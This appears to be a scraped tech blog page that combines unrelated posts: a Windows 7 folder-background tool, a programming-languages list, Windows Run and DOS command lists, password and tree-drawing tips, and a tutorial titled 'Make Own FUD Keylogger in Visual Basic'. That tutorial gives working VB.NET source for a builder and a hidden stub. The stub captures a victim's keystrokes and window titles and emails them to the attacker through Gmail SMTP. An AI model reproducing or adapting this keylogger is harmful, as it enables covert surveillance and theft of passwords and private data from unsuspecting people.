Windows 7 Folder Background Changer

Windows 7 Folder Background Changer is a handy, easy to use tool designed to enable you to change the explorer / folder backgrounds in Windows 7.

You can now customize your windows explorer using your favorite wallpaper or photograph!

With the help of Windows 7 Folder Background Changer, you can also change the color of the text and show shadows under the text to help make your file and sub-folder names stand out! You can even apply the same background to all the sub-folders!

Once you have downloaded and extracted the app, right click on it and Run Administrator. Version 1.1 has the option to uninstall the changes made and restore to original state.

Download This tools



click here to download

10 Programming Languages You Should Learn Right Now

Among thousands, 10 programming languages stand out for their job marketability and wide use. If you're looking to boost your career or learn something new, start here.
  
Knowing a handful of programming languages is seen by many as a harbor in a job market storm, solid skills that will be marketable as long as the languages are.
Yet, there is beauty in numbers. While there may be developers who have had riches heaped on them by knowing the right programming language at the right time in the right place, most longtime coders will tell you that periodically learning a new language is an essential part of being a good and successful Web developer.
"One of my mentors once told me that a programming language is just a programming language. It doesnt matter if youre a good programmer, its the syntax that matters," Tim Huckaby, CEO of San Diego-based software engineering company CEO Interknowlogy.com, told eWEEK.

However, Huckaby said that while his company is "swimming" in work, hes having a nearly impossible time finding recruits, even on the entry level, that know specific programming languages.

"Were hiring like crazy, but were not having an easy time. Were just looking for attitude and aptitude, kids right out of school that know .Net, or even Java, because with that we can train them on .Net," said Huckaby.

"Dont get fixated on one or two languages. When I started in 1969, FORTRAN, COBOL and S/360 Assembler were the big tickets. Today, Java, C and Visual Basic are. In 10 years time, some new set of languages will be the in thing. …At last count, I knew/have learned over 24 different languages in over 30 years," Wayne Duqaine, director of Software Development at Grandview Systems, of Sebastopol, Calif., told eWEEK.
By picking the brains of Web developers and IT recruiters, eWEEK selected 10 programming languages that are a bonus for developers to add to their resumes. Even better, theyre great jumping-off points, with loads of job opportunities for younger recruits.

1. PHP

What it is: An open-source, interpretive, server-side, cross-platform, HTML scripting language, especially well-suited for Web development as it can be embedded into HTML pages.

Why you should learn it: Its particularly widely used. "High-speed scripting with caching, augmented with compiled code plug-ins (such as can be done with Perl and PHP) is where the future is. Building Web apps from scratch using C or COBOL is going the way of the dinosaur," said Duquaine.

Job availabilities: 1,152*

2. C#

What it is: A general-purpose, compiled, object-oriented programming language developed by Microsoft as part of its .NET initiative, it evolved from C and C++

Why you should learn it: Its an essential part of the .Net framework. "Learning C#, which is just Java with a different name plate, is critical if you heavily use Microsoft," said Duquaine.

Job availabilities: 5,111

3. AJAX (Asynchronous JavaScript and XML)

What it is: Though technically not a programming language, AJAX uses XHTML or HTML, JavaScript and XML to create interactive Web applications.

Why you should learn it: Ever since Google Maps put AJAX, well, on the map, the requests for AJAX-knowledgeable pros went through the roof. "The demand for AJAX knowledge is huge because its so damned hard to learn," said Huckaby. Of note, Microsoft announced recently plans to release a tool named Atlas that will make AJAX easier to implement. "If Microsofts Atlas tool is successful, it would bring the extreme complexity and annoyance of AJAX to the average worker," said Huckaby.

Job availabilities : 1,106

4. JavaScript

What it is: Not to be confused with Java, JavaScript is a an object-oriented, scripting programming language that runs in the Web browser on the client side. Its smaller than Java, with a simplified set of commands, easier to code and doesnt have to be compiled.

Why you should learn it: Embedded into HTML, its used in millions of Web pages to validate forms, create cookies, detect browsers and improve the design. With its simplicity to learn as well as wide use, its considered a great bang for your educational buck.

Job availabilities: 4,406

5. Perl

What it is: Perl is an open-source, cross-platform, server-side interpretive programming language used extensively to process text through CGI programs.

Why you should learn it: Perls power in processing of piles of text has made it very popular and widely used to write Web server programs for a range of tasks. "Learning some form of scripting language, such as Perl or PHP is critical if you are doing Web apps," said Duquaine.

Job availabilities: 4,810

6. C

What it is: A standardized, general-purpose programming language, its one of the most pervasive languages and the basis for several others (such as C++).

Why you should learn it: "Learning C is crucial. Once you learn C, making the jump to Java or C# is fairly easy, because a lot of the syntax is common. Also, a lot of C syntax is used in scripting languages," said Duquaine.

Job availabilities: 6,164, including all derivatives

7. Ruby and Ruby on Rails

What they are: Ruby is a dynamic, object-oriented, open-source programming language; Ruby on Rails is an open-source Web application framework written in Ruby that closely follows the MVC (Model-View-Controller) architecture.

Why you should learn it: With a focus on simplicity, productivity and letting the computers do the work, in a few years, its usage has spread quickly. As a bonus, many find it easy to learn.

Job availabilities : 210 and 54, respectively

8. Java

What it is: An object-oriented programming language developed by James Gosling and colleagues at Sun Microsystems in the early 1990s.

Why you should learn it: Hailed by many developers as a "beautiful" language, it is central to the non-.Net programming experience. "Learning Java is critical if you are non-Microsoft," said Duquaine.

Job availabilities: 14,408

9. Python

What it is: An interpreted, dynamically object-oriented, open-source programming language that utilizes automatic memory management.

Why you should learn it: Designed to be a highly readable, minimalist language, many say it has a sense of humor (spam and eggs, rather than foo and bar), Python is used extensively by Google as well as in academia because of its syntactic simplicity.

Job availabilities: 811

10. VB.Net (Visual Basic .Net)

What it is: An object-oriented language implemented on Microsofts .Net framework.

Why you should learn it: Most argue that VB.Net is currently more popular than ever and one of the only "must-learns." "It is currently dominating in adoption and that is where all the work is," said Huckaby.

Job availabilities: 2,090

* All numbers on job availability were pulled from nationwide queries on Dice.com, a job site for technology professionals.

Windows Run Command

Just click run or windows + r


1. Accessibility Controls: access.cpl

2. Add Hardware Wizard: hdwwiz.cpl

3. Add/Remove Programs: appwiz.cpl

4. Administrative Tools control: admintools

5. Automatic Updates: wuaucpl.cpl

6. Bluetooth Transfer Wizard: fsquirt

7. Calculator: calc

8. Certificate Manager: certmgr.msc

9. Character Map: charmap

10. Check Disk Utility: chkdsk

11. Clipboard Viewer: clipbrd

12. Command Prompt: cmd

13. Component Services: dcomcnfg

14. Computer Management: compmgmt.msc

15. Device Manager: devmgmt.msc

16. Direct X Control Panel (If Installed)*: directx.cpl

17. Direct X Troubleshooter: dxdiag

18. Disk Cleanup Utility: cleanmgr

19. Disk Defragment: dfrg.msc

20. Disk Management: diskmgmt.msc

21. Disk Partition Manager: diskpart

22. Display Properties: control desktop

23. Display Properties: desk.cpl

24. Display Properties (w/Appearance Tab Preselected): control color

25. Dr. Watson System Troubleshooting Utility: drwtsn32

26. Driver Verifier Utility: verifier

27. Event Viewer: eventvwr.msc

28. File Signature Verification Tool: sigverif

29. Findfast: findfast.cpl

30. Folders Properties: control folders

31. Fonts: control fonts

32. Fonts Folder: fonts

33. Free Cell Card Game: freecell

34. Game Controllers: joy.cpl

35. Group Policy Editor (XP Prof): gpedit.msc

36. Hearts Card Game: mshearts

37. Iexpress Wizard: iexpress

38. Indexing Service: ciadv.msc

39. Internet Properties: inetcpl.cpl

40. IP Configuration (Display Connection Configuration): ipconfig /all

41. IP Configuration (Display DNS Cache Contents): ipconfig /displaydns

42. IP Configuration (Delete DNS Cache Contents): ipconfig /flushdns

43. IP Configuration (Release All Connections): ipconfig /release

44. IP Configuration (Renew All Connections): ipconfig /renew

45. IP Configuration (Refreshes DHCP & Re-Registers DNS): ipconfig /registerdns

46. IP Configuration (Display DHCP Class ID): ipconfig /showclassid

47. IP Configuration (Modifies DHCP Class ID): ipconfig /setclassid

48. Java Control Panel (If Installed): jpicpl32.cpl

49. Java Control Panel (If Installed): javaws

50. Keyboard Properties control: keyboard

51. Local Security Settings: secpol.msc

52. Local Users and Groups: lusrmgr.msc

53. Logs You Out Of Windows: logoff

54. Microsoft Chat: winchat

55. Minesweeper Game: winmine

56. Mouse Properties: control mouse

57. Mouse Properties: main.cpl

58. Network Connections control: netconnections

59. Network Connections: ncpa.cpl

60. Network Setup Wizard: netsetup.cpl

61. Notepad: notepad

62. Nview Desktop Manager (If Installed): nvtuicpl.cpl

63. Object Packager: packager

64. ODBC Data Source Administrator: odbccp32.cpl

65. On Screen Keyboard: osk

66. Opens AC3 Filter (If Installed): ac3filter.cpl

67. Password Properties: password.cpl

68. Performance Monitor perfmon.msc

69. Performance Monitor: perfmon

70. Phone and Modem Options: telephon.cpl

71. Power Configuration: powercfg.cpl

72. Printers and Faxes: control printers

73. Printers Folder: printers

74. Private Character Editor: eudcedit

75. Quicktime (If Installed): QuickTime.cpl

76. Regional Settings: intl.cpl

77. Registry Editor: regedit

78. Registry Editor: regedit32

79. Remote Desktop: mstsc

80. Removable Storage: ntmsmgr.msc

81. Removable Storage Operator Requests: ntmsoprq.msc

82. Resultant Set of Policy (XP Prof): rsop.msc

83. Scanners and Cameras: sticpl.cpl

84. Scheduled Tasks control: schedtasks

85. Security Center: wscui.cpl

86. Services: services.msc

87. Shared Folders: fsmgmt.msc

88. Shuts Down Windows: shutdown

89. Sounds and Audio: mmsys.cpl

90. Spider Solitare Card Game: spider

91. SQL Client Configuration: cliconfg

92. System Configuration Editor: sysedit

93. System Configuration Utility: msconfig

94. System File Checker Utility (Scan Immediately): sfc /scannow

95. System File Checker Utility (Scan Once At Next Boot): sfc /scanonce

96. System File Checker Utility (Scan On Every Boot): sfc /scanboot

97. System File Checker Utility (Return to Default Setting): sfc /revert

98. System File Checker Utility (Purge File Cache): sfc /purgecache

99. System File Checker (Set Cache size x): sfc /cachesize=x

100. System Properties: sysdm.cpl

101. Time and Date: timedate.cpl

102. Task Manager: taskmgr

103. Telnet Client: telnet

104. User Account Management: nusrmgr.cpl

105. Utility Manager: utilman

106. Windows Firewall: firewall.cpl

107. Windows Magnifier: magnify

108. Windows Management Infrastructure: wmimgmt.msc

109. Windows System Security Tool: syskey

110. Windows Update Launches: wupdmgr

111. Windows XP Tour Wizard: tourstart

112. Wordpad: write

Make Own FUD Keylogger in Visual Basic

Hello everyone. This is my new tutorial about making an keylogger in Visual Basic .NET, also called VB8. Before we start I'm going to explane you something more about Visual Basic. The Visual Basic is programming language created by Microsoft Corporation. Its most popular programming language in the world, its easy and good. For you just started with Visual Basic, this will be great tutorial to learn a bit more about it. Also if you are reading this tutorial, please dont just copy/paste .. the best way to learn is to read and study source. Even if its advance and hard to understand, you will find way to understand it .. like me.

OK, now i will explane you something about programming languages and how the computers understand them. A Computer cannot understand any persons spoken language. A spoken language such as English is simply too general and ambiguous for computers to understand. We must adapt to the machine and learn the computer language so that the computer can understand. This is where visual basic comes into it - when you type visual basic source code into the computer, the computer processes these statements into Visual Basic language.

WARNING: It doesnt work on Win7 & Vista because the name of .dll which I use to get keys isnt that name for vista & win7! You can google the name of .dll library to find for Windows7 & Vista

1. STEP

Download Visual Basic Express Edition 2008 for free if you didnt already.

2. STEP

• Run Visual Basic
• In Tab click File > New Project
• Windows Application > "Keylogger Builder" > Click Ok
  

3. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition = CenterScreen
Text = Keylogger Builder

Explanation:















































From the Toolbox add:

• TextBox1 - The GMail Username textbox
• Textbox2 - The Gmail Password textbox
• Button1 - The Build button, Change text to: Build
• Label1 - Change text to: Gmail Username
• Label2 - Change text to: Gmail Password
  

Explanation:










4. STEP

Now when you add all these, on top of code add:

Code:

Imports System.IO

Now under Public Class Form1 add following code, that would be strings:

Code:

Dim stub, text1, text2 As String
Const FileSplit = "@keylogger@"

Now when you done with that, just simply double click Button1 and add:

Code:

text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Server.exe") Then
My.Computer.FileSystem.DeleteFile("Server.exe")
End If
FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit)
FileClose(1)
MsgBox("The Server.exe is builded!")

Now you got your builder and now lets move to Stub.

5. STEP

• Run Visual Basic
• In Tab click File > New Project
• Windows Application > "Stub" > Click Ok
  

6. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (no text)
WindowsState = Minimized

Explanation:






























From the Toolbox add:

* Textbox1 - KEY LOGGER(follow everything what victim write)
* Textbox2 - GMail Username
* Textbox3 - GMail Password
* Timer1 - Upload Interval
* Timer2 - Get name of window where keylogger get
keys(userful)
* Timer3 - Get Keys


Explanation:










Timer1 Interval = 900000
Timer2 Interval = 100
Timer3 Interval = 100

7. STEP

Now when you add all these, on top of code add:

Code:

Imports System.IO
Imports System.Net.Mail

Now under Public Class Form1 add following code, that would be strings:

Code:

Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Const FileSplit = "@keylogger@"

Now double click Timer1 and write following code:

Code:

Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add(TextBox2.Text)
MailSetup.From = New MailAddress(TextBox2.Text)
MailSetup.Body = TextBox1.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTP.Send(MailSetup)
TextBox1.Clear()

And add this as Function to source code:

DOWNLOAD HOW TO ADD FUNCTION IF YOU DONT KNOW:

http://www.mediafire.com/?hyr22ivdg2m

Code:

Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing

Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function

Now double click Timer2 to get names of active windows:

Code:

If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
strin = GetActiveWindowTitle()
End If

Now double click Form1 and write following code:

Code:

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
Timer1.Start()
Timer2.Start()

Now double click Timer3 and past code:

Code:

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

8. STEP

You are done!

Finnaly you made your own, keylogger ... enjoy and for more informations and error reaports please PM or post here, I'll fix it :)

DownLoad Project:

http://www.mediafire.com/?izztizynwjz

How to Make a Secure Password

Today password is very important to secure your private data and information. It is commonly used for authentication, gain access to a resource or prove identity. Some passwords are usually required short composition letters or numbers, but there are also some passwords which are required long composition. However, either the password is short or long composition, the most important thing that you have to consider is about to make a secure password. So, these are going to give you some ways on how to make a secure password.

The main thing that you need to consider in making password is about to arrange an easy to remember but hard to guess password. A hard to guess password is considered to avoid the threat from hackers. So, you need to make a strong password in order to get your data and information keeps secure.

Moreover, with the purpose of making a secure password; you have to make complex arrangement of dissimilar characters in order to be hard guessed. You can make combination between letters and numbers to get stronger password. However, do not forget to make the combination which will be easy to remember. Therefore, you will not forget your password anytime you need to use it.

Furthermore, if the password requires long characters and it contains a lot of different letters and numbers, you need to write your password because it must be difficult to remember. Also, you have to keep it in a secure place so that your password will also secure. If one day you can certainly remember the password, then you do not have to write it in order to avoid someone else finds your password.

How to Draw Trees and Forests - An Easy Step by Step Instruction

If you want to learn how to draw a tree, begin your drawing with a basic sketch of branches, trunks (internal structure), and leaves (external structure).

When illustrating trees, the single most significant aspect is lighting. Study the direction of the light and quality of shadows in the tree you are sketching and start a fixed pattern of shading the leafy areas.

When drawing, shadowed areas will be darker and will involve heavier lines; moderately shaded areas require somewhat lighter hand; and regions left white portray highlighted leaves.

Keep in mind to use negative space (the sections between branches where there are no leaves) to aid for stressing the leafy parts. Slowly deepen the shadowed regions and adjust shading to produce the illusion of individual leaves and the realistic quality of the tree.

By means of the flat side of a pencil to create broader strokes of different darkness is another procedure used to draw trees and leaves. This method produces a less definite leaf pattern.

Put emphasis on zones by using an eraser to build areas of light. You may also desire to apply a disorganized scribble method, drawing squiggly lines of diverse thicknesses to design a less defined tree.

Keep in mind that all of these techniques rely on using shadows and light to expose the idea of clusters of leaves.

How to sketch full forests of trees

Sketching a complete woodland of trees is a little bit more complex, as you don't want to draw each tree individually, but too much evenness will also be not right for the drawing.

The problem: We may perceive trees of similar type as nearly identical but this is not the case. While alike, they are all unique and should be viewed and drawn in a way that demonstrates this.

Reviewing the direction and quality of the light and how it gives character to each tree is the starting point. Even in a crowded forest, single trees can be identified. This is the aspect that you must render into your drawing.

The easiest method to find single trees is to utilize texture. Consider that each range of tree has leaves that are different as well as mixed ways that the leaves fill up the tree (in bunches or in groups). As you draw, use different pencil strokes for each type of tree/leaf cluster to give it a distinct look.

Moreover, do not fail to keep in mind to take your light supply into your account and shade suitably. Think about the placement of the trees in your overall landscape. Trees in the foreground should contain more detail than those in the middle or background as they are more visible to the viewer.

These instructions should help you to draw trees - be it whole forests or particular trees.

But wait, using all these tips and techniques in theory won't be of much help for you. Equally important is: regular exercise! Get your pencils and paper, go out and begin to draw trees and landscapes. You will see: every picture, every drawing of a tree will bring you one step further. Soon you will be able to see and understand different forms of different trees. And your drawings will look great!

All Dos Commands

ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes

BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info

CACLS Change file permissions
CALL Call one batch program from another
CD Change Directory - move to a specific Folder
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colors of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location
CSVDE Import or Export Active Directory data

DATE Display or set the date
Dcomcnfg DCOM Configuration Utility
DEFRAG Defragment hard drive
DEL Delete one or more files
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory

ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EXIT Quit the CMD shell
EXPAND Uncompress files
EXTRACT Uncompress CAB files

FC Compare two files
FDISK Disk Format and partition
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR Conditionally perform a command several times
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations

GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line

HELP Online Help
HFNETCHK Network Security Hotfix Checker

IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP

KILL Remove a program from memory

LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file

MAPISEND Send email from the command line
MEM Display memory usage
MD Create new folders
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files

NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights

PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD
PORTQRY Display the status of ports and services
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory

QGREP Search file(s) for lines that match a given pattern.

RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Read, Set or Delete registry keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files.
REPLACE Replace or update one file with another
RD Delete folder(s)
RDISK Create a Recovery Disk
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)

SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
ScriptIt Control GUI applications
SET Display, set, or remove environment variables
SETLOCAL Begin localisation of environment changes in a batch file
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SOON Schedule a command to run in the near future
SORT Sort input
START Start a separate window to run a specified program or command
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration

TASKLIST List running applications and services
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file

USRSTAT List domain usernames and last login

VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label

WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands

XCACLS Change file permissions
XCOPY Copy files and folders